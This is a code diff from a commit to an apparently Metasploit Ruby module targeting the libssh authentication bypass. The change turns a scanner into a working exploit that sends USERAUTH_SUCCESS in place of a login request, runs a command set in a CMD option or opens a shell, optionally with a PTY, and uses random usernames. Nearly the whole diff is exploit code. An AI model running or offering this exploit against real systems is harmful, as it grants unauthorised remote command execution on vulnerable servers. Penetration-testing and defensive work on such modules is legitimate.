@@ -14,11 +14,16 @@ def initialize(info = {})
14
14
super ( update_info ( info ,
15
15
'Name' => 'libssh Authentication Bypass Scanner' ,
16
16
'Description' => %q{
17
- "libssh versions 0.6 and above have an authentication bypass vulnerability in
18
- the server code. By presenting the server an SSH2_MSG_USERAUTH_SUCCESS message
19
- in place of the SSH2_MSG_USERAUTH_REQUEST message which the server would expect
20
- to initiate authentication, the attacker could successfully authentciate [sic]
21
- without any credentials."
17
+ This module exploits an authentication bypass in libssh server code
18
+ where a USERAUTH_SUCCESS message is sent in place of the expected
19
+ USERAUTH_REQUEST message. Versions 0.6 and later are affected.
20
+
21
+ Note that this module's success depends on whether the server code
22
+ can trigger the correct (shell/exec) callbacks despite only the state
23
+ machine's authenticated state being set.
24
+
25
+ Therefore, you may or may not get a shell if the server requires
26
+ additional code paths to be followed.
22
27
} ,
23
28
'Author' => [
24
29
'Peter Winter-Smith' , # Discovery
@@ -34,7 +39,9 @@ def initialize(info = {})
34
39
35
40
register_options ( [
36
41
Opt ::RPORT ( 22 ) ,
37
- OptString . new ( 'USERNAME' , [ true , 'SSH username' ] )
42
+ OptString . new ( 'CMD' , [ false , 'Command to execute' ] ) ,
43
+ OptBool . new ( 'SPAWN_PTY' , [ false , 'Spawn a PTY' , false ] ) ,
44
+ OptBool . new ( 'CHECK_BANNER' , [ false , 'Check banner for "libssh"' , true ] )
38
45
] )
39
46
40
47
register_advanced_options ( [
@@ -60,6 +67,8 @@ def run_host(ip)
60
67
61
68
ssh_opts . merge! ( verbose : :debug ) if datastore [ 'SSH_DEBUG' ]
62
69
70
+ print_status ( "#{ ip } :#{ rport } - Attempting authentication bypass" )
71
+
63
72
begin
64
73
ssh = Timeout . timeout ( datastore [ 'SSH_TIMEOUT' ] ) do
65
74
Net ::SSH . start ( ip , username , ssh_opts )
@@ -71,39 +80,47 @@ def run_host(ip)
71
80
72
81
return unless ssh
73
82
74
- print_good ( "#{ ip } :#{ rport } - Logged in as #{ username } " )
75
-
76
83
version = ssh . transport . server_version . version
77
84
85
+ # XXX: The OOB authentication leads to false positives, so check banner
86
+ if datastore [ 'CHECK_BANNER' ] && !version . include? ( 'libssh' )
87
+ print_error ( "#{ ip } :#{ rport } - #{ version } does not appear to be libssh" )
88
+ return
89
+ end
90
+
78
91
report_vuln (
79
92
host : ip ,
80
93
name : self . name ,
81
94
refs : self . references ,
82
95
info : version
83
96
)
84
97
85
- shell = Net ::SSH ::CommandStream . new ( ssh )
98
+ shell = Net ::SSH ::CommandStream . new ( ssh , * config )
86
99
87
- return unless shell
100
+ # XXX: Wait for CommandStream to log a channel request failure
101
+ sleep 0.1
88
102
89
- info = "libssh Authentication Bypass (#{ version } )"
90
-
91
- ds_merge = {
92
- 'USERNAME' => username
93
- }
94
-
95
- start_session ( self , info , ds_merge , false , shell . lsock )
103
+ if shell . error
104
+ print_error ( "#{ ip } :#{ rport } - #{ shell . error } " )
105
+ return
106
+ end
96
107
97
- # XXX: Ruby segfaults if we don't remove the SSH socket
98
- remove_socket ( ssh . transport . socket )
108
+ start_session ( self , "#{ self . name } (#{ version } )" , { } , false , shell . lsock )
99
109
end
100
110
101
111
def rport
102
112
datastore [ 'RPORT' ]
103
113
end
104
114
105
115
def username
106
- datastore [ 'USERNAME' ]
116
+ Rex ::Text . rand_text_alphanumeric ( 8 ..42 )
117
+ end
118
+
119
+ def config
120
+ [
121
+ datastore [ 'CMD' ] ,
122
+ pty : datastore [ 'SPAWN_PTY' ]
123
+ ]
107
124
end
108
125
109
126
end
0 commit comments